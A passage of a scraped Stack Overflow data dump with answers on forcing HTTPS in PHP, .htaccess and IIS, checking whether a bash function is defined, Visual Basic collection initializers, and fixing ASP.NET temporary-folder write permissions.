insecure.</p>\n\n<p>Unless you use it as bait. </p>\n\n<p>$_SERVER propagation can be changed at the will of someone who knows how.</p>\n\n<p>Also as Sazzad Tushar Khan and the thebigjc stated you can also use httaccess to do this and there are a lot of answers here containing it.<br><br>\nJust add:<br><br></p>\n\n<pre><code>RewriteEngine On\nRewriteCond %{SERVER_PORT} 80\nRewriteRule ^(.*)$ https://example.com/$1 [R,L]\n</code></pre>\n\n<p>to the end of what you have in your .httaccess and thats that.<br></p>\n\n<p>Still we are not as secure as we possibly can be with these 2 tools.<br></p>\n\n<p>The rest is simple. If there are missing attributes ie...</p>\n\n<pre><code>if(empty($_SERVER[\"HTTPS\"])){ // SOMETHING IS FISHY\n}\n\nif(strstr($_SERVER['HTTP_HOST'],\"mywebsite.com\") === FALSE){// Something is FISHY\n}\n</code></pre>\n\n<p><br></p>\n\n<p>Also say you have updated your httaccess file and you check:<br></p>\n\n<pre><code>if($_SERVER[\"HTTPS\"] !== \"on\"){// Something is fishy\n}\n</code></pre>\n\n<p>There are a lot more variables you can check ie.. </p>\n\n<p><code>HOST_URI</code> <em>(If there are static atributes about it to check)</em></p>\n\n<p><code>HTTP_USER_AGENT</code> <em>(Same session different values)</em></p>\n\n<p>So all Im saying is dont just settle for one or the other when the answer lies in a combination.<br><br>\nFor more httaccess rewriting info see the docs-> <a href=\"http://httpd.apache.org/docs/2.0/misc/rewriteguide.html\" rel=\"nofollow noreferrer\">http://httpd.apache.org/docs/2.0/misc/rewriteguide.html</a>\n<br><br>Some Stacks here -> <a href=\"https://stackoverflow.com/questions/4398951/force-ssl-https-using-htaccess-and-mod-rewrite\">Force SSL/https using .htaccess and mod_rewrite</a><br>\nand<br>\n<a href=\"https://stackoverflow.com/questions/2236873/getting-the-full-url-of-the-current-page-php\">Getting the full URL of the current page (PHP)</a><br>\nto name a couple.</p>\n" }, { "answer_id": 31000510, "author": "MatHatrik", "author_id": 4614534, "author_profile": "https://Stackoverflow.com/users/4614534", "pm_score": 4, "selected": false, "text": "<p>I just created a .htaccess file and added :</p>\n\n<pre><code>RewriteEngine On\nRewriteCond %{HTTPS} off\nRewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}\n</code></pre>\n\n<p>Simple !</p>\n" }, { "answer_id": 38579223, "author": "Esteban Gallego", "author_id": 4545688, "author_profile": "https://Stackoverflow.com/users/4545688", "pm_score": -1, "selected": false, "text": "<p>I have used this script and it works well through the site.</p>\n\n<pre><code>if(empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] == \"off\"){\n $redirect = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];\n enter code hereheader('HTTP/1.1 301 Moved Permanently');\n header('Location: ' . $redirect);\n exit();\n}\n</code></pre>\n" }, { "answer_id": 38741015, "author": "Antonio", "author_id": 6090211, "author_profile": "https://Stackoverflow.com/users/6090211", "pm_score": 1, "selected": false, "text": "<p>If you use Apache or something like LiteSpeed, which supports .htaccess files, you can do the following.\nIf you don't already have a .htaccess file, you should create a new .htaccess file in your root directory (usually where your index.php is located). Now add these lines as the first rewrite rules in your .htaccess:</p>\n\n<pre><code>RewriteEngine On\nRewriteCond %{HTTPS} off\nRewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]\n</code></pre>\n\n<p>You only need the instruction \"RewriteEngine On\" once in your .htaccess for all rewrite rules, so if you already have it, just copy the second and third line.</p>\n\n<p>I hope this helps.</p>\n" }, { "answer_id": 38997081, "author": "bourax webmaster", "author_id": 2923903, "author_profile": "https://Stackoverflow.com/users/2923903", "pm_score": 1, "selected": false, "text": "<p>Using this is NOT enough:</p>\n\n<pre><code>if($_SERVER[\"HTTPS\"] != \"on\")\n{\n header(\"Location: https://\" . $_SERVER[\"HTTP_HOST\"] . $_SERVER[\"REQUEST_URI\"]);\n exit();\n}\n</code></pre>\n\n<p>If you have any http content (like an external http image source), the browser will detect a possible threat. So be sure all your ref and src inside your code are https</p>\n" }, { "answer_id": 39238967, "author": "Tarik", "author_id": 5105831, "author_profile": "https://Stackoverflow.com/users/5105831", "pm_score": 1, "selected": false, "text": "<p>I have been through many solutions with checking the status of <em>$_SERVER[HTTPS]</em> but seems like it is not reliable because sometimes it does not set or set to on, off, etc. causing the script to internal loop redirect.</p>\n\n<p>Here is the most reliable solution if your server supports <strong>$_SERVER[SCRIPT_URI]</strong></p>\n\n<pre><code>if (stripos(substr($_SERVER[SCRIPT_URI], 0, 5), \"https\") === false) {\n header(\"location:https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]\");\n echo \"&lt;meta http-equiv='refresh' content='0; url=https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]'&gt;\";\n exit;\n}\n</code></pre>\n\n<p>Please note that depending on your installation, your server might not support $_SERVER[SCRIPT_URI] but if it does, this is the better script to use.</p>\n\n<p>You can check here: <a href=\"https://stackoverflow.com/questions/8398391/why-do-some-php-installations-have-serverscript-uri-and-others-not\">Why do some PHP installations have $_SERVER['SCRIPT_URI'] and others not</a></p>\n" }, { "answer_id": 43251052, "author": "Tschallacka", "author_id": 1356107, "author_profile": "https://Stackoverflow.com/users/1356107", "pm_score": 1, "selected": false, "text": "<p>For those using IIS adding this line in the web.config will help:</p>\n\n<pre><code>&lt;httpProtocol&gt;\n &lt;customHeaders&gt;\n &lt;add name=\"Strict-Transport-Security\" value=\"max-age=31536000\"/&gt;\n &lt;/customHeaders&gt;\n&lt;/httpProtocol&gt;\n&lt;rewrite&gt;\n &lt;rules&gt;\n &lt;rule name=\"HTTP to HTTPS redirect\" stopProcessing=\"true\"&gt;\n &lt;match url=\"(.*)\" /&gt;\n &lt;conditions&gt;\n &lt;add input=\"{HTTPS}\" pattern=\"off\" ignoreCase=\"true\" /&gt;\n &lt;/conditions&gt;\n &lt;action type=\"Redirect\" redirectType=\"Found\" url=\"https://{HTTP_HOST}/{R:1}\" /&gt;\n &lt;/rule&gt;\n &lt;/rules&gt;\n&lt;/rewrite&gt;\n</code></pre>\n\n<p>A full example file</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;configuration&gt;\n &lt;system.webServer&gt;\n &lt;httpProtocol&gt;\n &lt;customHeaders&gt;\n &lt;add name=\"Strict-Transport-Security\" value=\"max-age=31536000\"/&gt;\n &lt;/customHeaders&gt;\n &lt;/httpProtocol&gt;\n &lt;rewrite&gt;\n &lt;rules&gt;\n &lt;rule name=\"HTTP to HTTPS redirect\" stopProcessing=\"true\"&gt;\n &lt;match url=\"(.*)\" /&gt;\n &lt;conditions&gt;\n &lt;add input=\"{HTTPS}\" pattern=\"off\" ignoreCase=\"true\" /&gt;\n &lt;/conditions&gt;\n &lt;action type=\"Redirect\" redirectType=\"Found\" url=\"https://{HTTP_HOST}/{R:1}\" /&gt;\n &lt;/rule&gt;\n &lt;/rules&gt;\n &lt;/rewrite&gt;\n &lt;/system.webServer&gt;\n&lt;/configuration&gt;\n</code></pre>\n" }, { "answer_id": 49874887, "author": "Héouais Mongars", "author_id": 9575477, "author_profile": "https://Stackoverflow.com/users/9575477", "pm_score": 0, "selected": false, "text": "<p>maybe this one can help, you, that's how I did for my website, it works like a charm :</p>\n\n<pre><code>$protocol = $_SERVER[\"HTTP_CF_VISITOR\"];\n\nif (!strstr($protocol, 'https')){\n header(\"Location: https://\" . $_SERVER[\"HTTP_HOST\"] . $_SERVER[\"REQUEST_URI\"]);\n exit();\n}\n</code></pre>\n" }, { "answer_id": 53017189, "author": "Jay", "author_id": 9492841, "author_profile": "https://Stackoverflow.com/users/9492841", "pm_score": 3, "selected": false, "text": "<p>The PHP way:</p>\n\n<pre><code>$is_https=false;\nif (isset($_SERVER['HTTPS'])) $is_https=$_SERVER['HTTPS'];\nif ($is_https !== \"on\")\n{\n header(\"Location: https://\".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);\n exit(1);\n}\n</code></pre>\n\n<p>The Apache mod_rewrite way:</p>\n\n<pre><code>RewriteCond %{HTTPS} !=on\nRewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]\n</code></pre>\n" }, { "answer_id": 62680152, "author": "squiremaldoon", "author_id": 13735231, "author_profile": "https://Stackoverflow.com/users/13735231", "pm_score": 2, "selected": false, "text": "<p>If you want to use PHP to do this then this way worked really well for me:</p>\n<pre><code>\n&lt;?php\n\nif(!isset($_SERVER[&quot;HTTPS&quot;]) || $_SERVER[&quot;HTTPS&quot;] != &quot;on&quot;) {\n header(&quot;Location: https://&quot; . $_SERVER[&quot;HTTP_HOST&quot;] . $_SERVER[&quot;REQUEST_URI&quot;], true, 301);\n //Prevent the rest of the script from executing.\n exit;\n}\n?&gt;\n\n</code></pre>\n<p>It checks the HTTPS variable in the $_SERVER superglobal array to see if it equal to “on”. If the variable is not equal to on.</p>\n" }, { "answer_id": 65564968, "author": "Sumithran", "author_id": 6562458, "author_profile": "https://Stackoverflow.com/users/6562458", "pm_score": 1, "selected": false, "text": "<p>As an alternative, you can make use of <code>X-Forwarded-Proto</code> header to force a redirect to HTTPS.</p>\n<p>add these lines in the .htaccess file</p>\n<pre><code>### Force HTTPS\nRewriteCond %{HTTP:X-Forwarded-Proto} !https\nRewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]\n</code></pre>\n" }, { "answer_id": 68150501, "author": "MRRaja", "author_id": 2357497, "author_profile": "https://Stackoverflow.com/users/2357497", "pm_score": 1, "selected": false, "text": "<pre><code>if(location.protocol!=='https:'){location.replace(`https:${location.href.substring(location.protocol.length)}`);}\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85816", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I've got just one page that I want to force to be accessed as an HTTPS page (PHP on Apache). How do I do this without making the whole directory require HTTPS? Or, if you submit a form to an HTTPS page from an HTTP page, does it send it by HTTPS instead of HTTP? Here is my example: ``` http://www.example.com/some-page.php ``` I want it to only be accessed through: ``` https://www.example.com/some-page.php ``` Sure, I can put all of the links to this page pointed at the HTTPS version, but that doesn't stop some fool from accessing it through HTTP on purpose... One thing I thought was putting a redirect in the header of the PHP file to check to be sure that they are accessing the HTTPS version: ``` if($_SERVER["SCRIPT_URI"] == "http://www.example.com/some-page.php"){ header('Location: https://www.example.com/some-page.php'); } ``` But that can't be the right way, can it?
The way I've done it before is basically like what you wrote, but doesn't have any hardcoded values: ``` if($_SERVER["HTTPS"] != "on") { header("Location: https://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); exit(); } ```
85,880
<p>Currently I'm doing some unit tests which are executed from bash. Unit tests are initialized, executed and cleaned up in a bash script. This script usualy contains an init(), execute() and cleanup() functions. But they are not mandatory. I'd like to test if they are or are not defined.</p> <p>I did this previously by greping and seding the source, but it seemed wrong. Is there a more elegant way to do this?</p> <p>Edit: The following sniplet works like a charm:</p> <pre><code>fn_exists() { LC_ALL=C type $1 | grep -q 'shell function' } </code></pre>
[ { "answer_id": 85903, "author": "JBB", "author_id": 12332, "author_profile": "https://Stackoverflow.com/users/12332", "pm_score": 9, "selected": true, "text": "<p>Like this: <code>[[ $(type -t foo) == function ]] &amp;&amp; echo &quot;Foo exists&quot;</code></p>\n<p>The built-in <code>type</code> command will tell you whether something is a function, built-in function, external command, or just not defined.</p>\n<p>Additional examples:</p>\n<pre class=\"lang-none prettyprint-override\"><code>$ LC_ALL=C type foo\nbash: type: foo: not found\n\n$ LC_ALL=C type ls\nls is aliased to `ls --color=auto'\n\n$ which type\n\n$ LC_ALL=C type type\ntype is a shell builtin\n\n$ LC_ALL=C type -t rvm\nfunction\n\n$ if [ -n &quot;$(LC_ALL=C type -t rvm)&quot; ] &amp;&amp; [ &quot;$(LC_ALL=C type -t rvm)&quot; = function ]; then echo rvm is a function; else echo rvm is NOT a function; fi\nrvm is a function\n</code></pre>\n" }, { "answer_id": 85932, "author": "Allan Wind", "author_id": 9706, "author_profile": "https://Stackoverflow.com/users/9706", "pm_score": 7, "selected": false, "text": "<p>The builtin bash command <code>declare</code> has an option <code>-F</code> that displays all defined function names. If given name arguments, it will display which of those functions exist, and if all do it will set status accordingly:</p>\n<pre class=\"lang-sh prettyprint-override\"><code>$ fn_exists() { declare -F &quot;$1&quot; &gt; /dev/null; }\n\n$ unset f\n$ fn_exists f &amp;&amp; echo yes || echo no\nno\n\n$ f() { return; }\n$ fn_exist f &amp;&amp; echo yes || echo no\nyes\n</code></pre>\n" }, { "answer_id": 1540824, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>I would improve it to:</p>\n\n<pre><code>fn_exists()\n{\n type $1 2&gt;/dev/null | grep -q 'is a function'\n}\n</code></pre>\n\n<p>And use it like this:</p>\n\n<pre><code>fn_exists test_function\nif [ $? -eq 0 ]; then\n echo 'Function exists!'\nelse\n echo 'Function does not exist...'\nfi\n</code></pre>\n" }, { "answer_id": 1540934, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>This tells you if it exists, but not that it's a function</p>\n\n<pre><code>fn_exists()\n{\n type $1 &gt;/dev/null 2&gt;&amp;1;\n}\n</code></pre>\n" }, { "answer_id": 2253065, "author": "jonathanserafini", "author_id": 238290, "author_profile": "https://Stackoverflow.com/users/238290", "pm_score": 4, "selected": false, "text": "<p>Dredging up an old post ... but I recently had use of this and tested both alternatives described with : </p>\n\n<pre><code>test_declare () {\n a () { echo 'a' ;}\n\n declare -f a &gt; /dev/null\n}\n\ntest_type () {\n a () { echo 'a' ;}\n type a | grep -q 'is a function'\n}\n\necho 'declare'\ntime for i in $(seq 1 1000); do test_declare; done\necho 'type'\ntime for i in $(seq 1 100); do test_type; done\n</code></pre>\n\n<p>this generated : </p>\n\n<pre><code>real 0m0.064s\nuser 0m0.040s\nsys 0m0.020s\ntype\n\nreal 0m2.769s\nuser 0m1.620s\nsys 0m1.130s\n</code></pre>\n\n<p>declare is a helluvalot faster !</p>\n" }, { "answer_id": 3121473, "author": "Noah Spurrier", "author_id": 319432, "author_profile": "https://Stackoverflow.com/users/319432", "pm_score": 0, "selected": false, "text": "<p>It is possible to use 'type' without any external commands, but you have to call it twice, so it still ends up about twice as slow as the 'declare' version:</p>\n\n<pre><code>test_function () {\n ! type -f $1 &gt;/dev/null 2&gt;&amp;1 &amp;&amp; type -t $1 &gt;/dev/null 2&gt;&amp;1\n}\n</code></pre>\n\n<p>Plus this doesn't work in POSIX sh, so it's totally worthless except as trivia!</p>\n" }, { "answer_id": 9002012, "author": "Grégory Joseph", "author_id": 302789, "author_profile": "https://Stackoverflow.com/users/302789", "pm_score": 4, "selected": false, "text": "<p>Borrowing from other solutions and comments, I came up with this:</p>\n\n<pre><code>fn_exists() {\n # appended double quote is an ugly trick to make sure we do get a string -- if $1 is not a known command, type does not output anything\n [ `type -t $1`\"\" == 'function' ]\n}\n</code></pre>\n\n<p>Used as ...</p>\n\n<pre><code>if ! fn_exists $FN; then\n echo \"Hey, $FN does not exist ! Duh.\"\n exit 2\nfi\n</code></pre>\n\n<p>It checks if the given argument is a function, and avoids redirections and other grepping.</p>\n" }, { "answer_id": 9466683, "author": "b1r3k", "author_id": 216172, "author_profile": "https://Stackoverflow.com/users/216172", "pm_score": 2, "selected": false, "text": "<p>I particularly liked solution from <a href=\"https://stackoverflow.com/a/9002012/216172\">Grégory Joseph</a></p>\n\n<p>But I've modified it a little bit to overcome \"double quote ugly trick\":</p>\n\n<pre><code>function is_executable()\n{\n typeset TYPE_RESULT=\"`type -t $1`\"\n\n if [ \"$TYPE_RESULT\" == 'function' ]; then\n return 0\n else\n return 1\n fi\n}\n</code></pre>\n" }, { "answer_id": 9529981, "author": "Orwellophile", "author_id": 912236, "author_profile": "https://Stackoverflow.com/users/912236", "pm_score": 6, "selected": false, "text": "<p>If declare is 10x faster than test, this would seem the obvious answer.</p>\n\n<p>Edit: Below, the <code>-f</code> option is superfluous with BASH, feel free to leave it out. Personally, I have trouble remembering which option does which, so I just use both. <em><strong>-f</strong> shows functions, and <strong>-F</strong> shows function names.</em></p>\n\n<pre><code>#!/bin/sh\n\nfunction_exists() {\n declare -f -F $1 &gt; /dev/null\n return $?\n}\n\nfunction_exists function_name &amp;&amp; echo Exists || echo No such function\n</code></pre>\n\n<p>The \"-F\" option to declare causes it to only return the name of the found function, rather than the entire contents.</p>\n\n<p>There shouldn't be any measurable performance penalty for using /dev/null, and if it worries you that much:</p>\n\n<pre><code>fname=`declare -f -F $1`\n[ -n \"$fname\" ] &amp;&amp; echo Declare -f says $fname exists || echo Declare -f says $1 does not exist\n</code></pre>\n\n<p>Or combine the two, for your own pointless enjoyment. They both work.</p>\n\n<pre><code>fname=`declare -f -F $1`\nerrorlevel=$?\n(( ! errorlevel )) &amp;&amp; echo Errorlevel says $1 exists || echo Errorlevel says $1 does not exist\n[ -n \"$fname\" ] &amp;&amp; echo Declare -f says $fname exists || echo Declare -f says $1 does not exist\n</code></pre>\n" }, { "answer_id": 10788804, "author": "Scott", "author_id": 1422241, "author_profile": "https://Stackoverflow.com/users/1422241", "pm_score": 3, "selected": false, "text": "<p>It boils down to using 'declare' to either check the output or exit code.</p>\n\n<p>Output style:</p>\n\n<pre><code>isFunction() { [[ \"$(declare -Ff \"$1\")\" ]]; }\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code>isFunction some_name &amp;&amp; echo yes || echo no\n</code></pre>\n\n<p>However, if memory serves, redirecting to null is faster than output substitution (speaking of, the awful and out-dated `cmd` method should be banished and $(cmd) used instead.) And since declare returns true/false if found/not found, and functions return the exit code of the last command in the function so an explicit return is usually not necessary, and since checking the error code is faster than checking a string value (even a null string):</p>\n\n<p>Exit status style:</p>\n\n<pre><code>isFunction() { declare -Ff \"$1\" &gt;/dev/null; }\n</code></pre>\n\n<p>That's probably about as succinct and benign as you can get.</p>\n" }, { "answer_id": 35117169, "author": "Yunus", "author_id": 3746411, "author_profile": "https://Stackoverflow.com/users/3746411", "pm_score": 2, "selected": false, "text": "<pre><code>fn_exists()\n{\n [[ $(type -t $1) == function ]] &amp;&amp; return 0\n}\n</code></pre>\n\n<p><em>update</em></p>\n\n<pre><code>isFunc () \n{ \n [[ $(type -t $1) == function ]]\n}\n\n$ isFunc isFunc\n$ echo $?\n0\n$ isFunc dfgjhgljhk\n$ echo $?\n1\n$ isFunc psgrep &amp;&amp; echo yay\nyay\n$\n</code></pre>\n" }, { "answer_id": 40693218, "author": "jarno", "author_id": 4414935, "author_profile": "https://Stackoverflow.com/users/4414935", "pm_score": 3, "selected": false, "text": "<p>Testing different solutions:</p>\n\n<pre><code>#!/bin/bash\n\ntest_declare () {\n declare -f f &gt; /dev/null\n}\n\ntest_declare2 () {\n declare -F f &gt; /dev/null\n}\n\ntest_type () {\n type -t f | grep -q 'function'\n}\n\ntest_type2 () {\n [[ $(type -t f) = function ]]\n}\n\nfuncs=(test_declare test_declare2 test_type test_type2)\n\ntest () {\n for i in $(seq 1 1000); do $1; done\n}\n\nf () {\necho 'This is a test function.'\necho 'This has more than one command.'\nreturn 0\n}\npost='(f is function)'\n\nfor j in 1 2 3; do\n\n for func in ${funcs[@]}; do\n echo $func $post\n time test $func\n echo exit code $?; echo\n done\n\n case $j in\n 1) unset -f f\n post='(f unset)'\n ;;\n 2) f='string'\n post='(f is string)'\n ;;\n esac\ndone\n</code></pre>\n\n<p>outputs e.g.:</p>\n\n<blockquote>\n <p>test_declare (f is function)</p>\n \n <p>real 0m0,055s user 0m0,041s sys 0m0,004s exit code 0</p>\n \n <p>test_declare2 (f is function)</p>\n \n <p>real 0m0,042s user 0m0,022s sys 0m0,017s exit code 0</p>\n \n <p>test_type (f is function)</p>\n \n <p>real 0m2,200s user 0m1,619s sys 0m1,008s exit code 0</p>\n \n <p>test_type2 (f is function)</p>\n \n <p>real 0m0,746s user 0m0,534s sys 0m0,237s exit code 0</p>\n \n <p>test_declare (f unset)</p>\n \n <p>real 0m0,040s user 0m0,029s sys 0m0,010s exit code 1</p>\n \n <p>test_declare2 (f unset)</p>\n \n <p>real 0m0,038s user 0m0,038s sys 0m0,000s exit code 1</p>\n \n <p>test_type (f unset)</p>\n \n <p>real 0m2,438s user 0m1,678s sys 0m1,045s exit code 1</p>\n \n <p>test_type2 (f unset)</p>\n \n <p>real 0m0,805s user 0m0,541s sys 0m0,274s exit code 1</p>\n \n <p>test_declare (f is string)</p>\n \n <p>real 0m0,043s user 0m0,034s sys 0m0,007s exit code 1</p>\n \n <p>test_declare2 (f is string)</p>\n \n <p>real 0m0,039s user 0m0,035s sys 0m0,003s exit code 1</p>\n \n <p>test_type (f is string)</p>\n \n <p>real 0m2,394s user 0m1,679s sys 0m1,035s exit code 1</p>\n \n <p>test_type2 (f is string)</p>\n \n <p>real 0m0,851s user 0m0,554s sys 0m0,294s exit code 1</p>\n</blockquote>\n\n<p>So <code>declare -F f</code> seems to be the best solution.</p>\n" }, { "answer_id": 46691003, "author": "qneill", "author_id": 468252, "author_profile": "https://Stackoverflow.com/users/468252", "pm_score": 2, "selected": false, "text": "<p>From my comment on another answer (which I keep missing when I come back to this page)</p>\n\n<pre><code>$ fn_exists() { test x$(type -t $1) = xfunction; }\n$ fn_exists func1 &amp;&amp; echo yes || echo no\nno\n$ func1() { echo hi from func1; }\n$ func1\nhi from func1\n$ fn_exists func1 &amp;&amp; echo yes || echo no\nyes\n</code></pre>\n" }, { "answer_id": 66111119, "author": "it3xl", "author_id": 390940, "author_profile": "https://Stackoverflow.com/users/390940", "pm_score": 2, "selected": false, "text": "<h3>Invocation of a function if defined.</h3>\n<p><strong>Known function name</strong>. Let's say the name is <code>my_function</code>, then use</p>\n<pre><code>[[ &quot;$(type -t my_function)&quot; == 'function' ]] &amp;&amp; my_function;\n# or\n[[ &quot;$(declare -fF my_function)&quot; ]] &amp;&amp; my_function;\n</code></pre>\n<p><strong>Function's name is stored in a variable</strong>. If we declare <code>func=my_function</code>, then we can use</p>\n<pre><code>[[ &quot;$(type -t $func)&quot; == 'function' ]] &amp;&amp; $func;\n# or\n[[ &quot;$(declare -fF $func)&quot; ]] &amp;&amp; $func;\n</code></pre>\n<p><strong>The same results with <code>||</code> instead of <code>&amp;&amp;</code></strong><br />\n(Such a logic inversion could be useful during coding)</p>\n<pre><code>[[ &quot;$(type -t my_function)&quot; != 'function' ]] || my_function;\n[[ ! &quot;$(declare -fF my_function)&quot; ]] || my_function;\n\nfunc=my_function\n[[ &quot;$(type -t $func)&quot; != 'function' ]] || $func;\n[[ ! &quot;$(declare -fF $func)&quot; ]] || $func;\n</code></pre>\n<p><strong>Strict mode and precondition checks</strong><br/>\nWe have <code>set -e</code> as a strict mode.<br/>\nWe use <code>|| return</code> in our function in a precondition.<br/>\nThis forces our shell process to be terminated.</p>\n<pre><code># Set a strict mode for script execution. The essence here is &quot;-e&quot;\nset -euf +x -o pipefail\n\nfunction run_if_exists(){\n my_function=$1\n\n [[ &quot;$(type -t $my_function)&quot; == 'function' ]] || return;\n\n $my_function\n}\n\nrun_if_exists non_existing_function\necho &quot;you will never reach this code&quot;\n</code></pre>\n<p>The above is an equivalent of</p>\n<pre><code>set -e\nfunction run_if_exists(){\n return 1;\n}\nrun_if_exists\n</code></pre>\n<p>which kills your process.<br/>\nUse <code>|| { true; return; }</code> instead of <code>|| return;</code> in preconditions to fix this.</p>\n<pre><code> [[ &quot;$(type -t my_function)&quot; == 'function' ]] || { true; return; }\n</code></pre>\n" }, { "answer_id": 73969344, "author": "k_vishwanath", "author_id": 6341379, "author_profile": "https://Stackoverflow.com/users/6341379", "pm_score": 0, "selected": false, "text": "<p>You can check them in 4 ways</p>\n<pre><code>fn_exists() { type -t $1 &gt;/dev/null &amp;&amp; echo 'exists'; }\nfn_exists() { declare -F $1 &gt;/dev/null &amp;&amp; echo 'exists'; }\nfn_exists() { typeset -F $1 &gt;/dev/null &amp;&amp; echo 'exists'; }\nfn_exists() { compgen -A function $1 &gt;/dev/null &amp;&amp; echo 'exists'; }\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85880", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9232/" ]
Currently I'm doing some unit tests which are executed from bash. Unit tests are initialized, executed and cleaned up in a bash script. This script usualy contains an init(), execute() and cleanup() functions. But they are not mandatory. I'd like to test if they are or are not defined. I did this previously by greping and seding the source, but it seemed wrong. Is there a more elegant way to do this? Edit: The following sniplet works like a charm: ``` fn_exists() { LC_ALL=C type $1 | grep -q 'shell function' } ```
Like this: `[[ $(type -t foo) == function ]] && echo "Foo exists"` The built-in `type` command will tell you whether something is a function, built-in function, external command, or just not defined. Additional examples: ```none $ LC_ALL=C type foo bash: type: foo: not found $ LC_ALL=C type ls ls is aliased to `ls --color=auto' $ which type $ LC_ALL=C type type type is a shell builtin $ LC_ALL=C type -t rvm function $ if [ -n "$(LC_ALL=C type -t rvm)" ] && [ "$(LC_ALL=C type -t rvm)" = function ]; then echo rvm is a function; else echo rvm is NOT a function; fi rvm is a function ```
85,892
<p>I'm trying to determine if there's a way in Visual Basic 2008 (Express edition if that matters) to do inline collection initialization, a la JavaScript or Python:</p> <pre><code>Dim oMapping As Dictionary(Of Integer, String) = {{1,"First"}, {2, "Second"}} </code></pre> <p>I know Visual Basic 2008 supports array initialization like this, but I can't seem to get it to work for collections... Do I have the syntax wrong, or is it just not implemented?</p>
[ { "answer_id": 85914, "author": "Konrad Rudolph", "author_id": 1968, "author_profile": "https://Stackoverflow.com/users/1968", "pm_score": 5, "selected": true, "text": "<p><a href=\"http://en.wikipedia.org/wiki/Visual_Basic_.NET#Visual_Basic_2008_.28VB_9.0.29\" rel=\"nofollow noreferrer\">Visual Basic 9.0</a> doesn't support this yet. However, <a href=\"http://en.wikipedia.org/wiki/Visual_Basic_.NET#Visual_Basic_2010_.28VB_10.0.29\" rel=\"nofollow noreferrer\">Visual Basic 10.0</a> <a href=\"http://msdn.microsoft.com/en-us/library/dd293617.aspx\" rel=\"nofollow noreferrer\">will</a>.</p>\n" }, { "answer_id": 29078431, "author": "James Lawruk", "author_id": 88204, "author_profile": "https://Stackoverflow.com/users/88204", "pm_score": 3, "selected": false, "text": "<p>Here are <a href=\"https://msdn.microsoft.com/en-us/library/dd293617.aspx\" rel=\"noreferrer\">VB collection initializers</a> using the <strong>From</strong> keyword. (Starting with Visual Studio 2010)</p>\n\n<p><strong>List:</strong></p>\n\n<pre><code>Dim list As New List(Of String) From {\"First\", \"Second\"}\n</code></pre>\n\n<p><strong>Dictionary:</strong></p>\n\n<pre><code>Dim oMapping As New Dictionary(Of Integer, String) From {{1, \"First\"}, {2, \"Second\"}}\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/85892", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7542/" ]
I'm trying to determine if there's a way in Visual Basic 2008 (Express edition if that matters) to do inline collection initialization, a la JavaScript or Python: ``` Dim oMapping As Dictionary(Of Integer, String) = {{1,"First"}, {2, "Second"}} ``` I know Visual Basic 2008 supports array initialization like this, but I can't seem to get it to work for collections... Do I have the syntax wrong, or is it just not implemented?
[Visual Basic 9.0](http://en.wikipedia.org/wiki/Visual_Basic_.NET#Visual_Basic_2008_.28VB_9.0.29) doesn't support this yet. However, [Visual Basic 10.0](http://en.wikipedia.org/wiki/Visual_Basic_.NET#Visual_Basic_2010_.28VB_10.0.29) [will](http://msdn.microsoft.com/en-us/library/dd293617.aspx).
85,941
<p>I get the following error when running my Visual Studio 2008 ASP.NET project (start without Debugging) on my XP Professional box:</p> <pre><code>System.Web.HttpException: The current identity (machinename\ASPNET) does not have write access to 'C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files'. </code></pre> <p>How can I resolve this?</p>
[ { "answer_id": 85956, "author": "DevelopingChris", "author_id": 1220, "author_profile": "https://Stackoverflow.com/users/1220", "pm_score": 5, "selected": true, "text": "<p>Have you tried, the aspnet_regiis exe in the framework folder?</p>\n" }, { "answer_id": 85966, "author": "ddc0660", "author_id": 16027, "author_profile": "https://Stackoverflow.com/users/16027", "pm_score": -1, "selected": false, "text": "<p>Make sure the ASPNET user has permission to write to that folder. Right click on the folder, Properties, Security tab.</p>\n" }, { "answer_id": 85977, "author": "Ken Ray", "author_id": 12253, "author_profile": "https://Stackoverflow.com/users/12253", "pm_score": 2, "selected": false, "text": "<p>Either grant that user the level of access to that directory, or change the identity that the application's application pool runs under - in IIS Manager, determine what App Pool is used to run your application, then in the App Pool section of IIS Manager, look at the properties for that pool - the tab you want is \"Identity\" I think (this is off the top of my head).</p>\n\n<p>You can set it to another user account - for example, Crystal Reports .Net requires update and delete access to C:\\Temp - so we have a \"webmaster\" user, with administrator access, and use that identity for those applications.</p>\n" }, { "answer_id": 85986, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": 0, "selected": false, "text": "<p>You can try to fix it using the automated regiis utility aspnet_regiis.ext available in c:\\windows\\microsoft.net\\framework\\v2.0.50727</p>\n\n<p>Otherwise just manually add the needed file permissions as noted in the error.</p>\n" }, { "answer_id": 1530230, "author": "Pragnesh Patel", "author_id": 175581, "author_profile": "https://Stackoverflow.com/users/175581", "pm_score": 0, "selected": false, "text": "<p>you can right click the Visual Studio &amp; select run as administrator.</p>\n" }, { "answer_id": 12185699, "author": "Djay", "author_id": 1634280, "author_profile": "https://Stackoverflow.com/users/1634280", "pm_score": 4, "selected": false, "text": "<p>I had the same problem. This is what I did:</p>\n\n<ol>\n<li>Go to c:\\windows\\microsoft.net\\framework\\v2.0.50727</li>\n<li>right click on \"Temporary 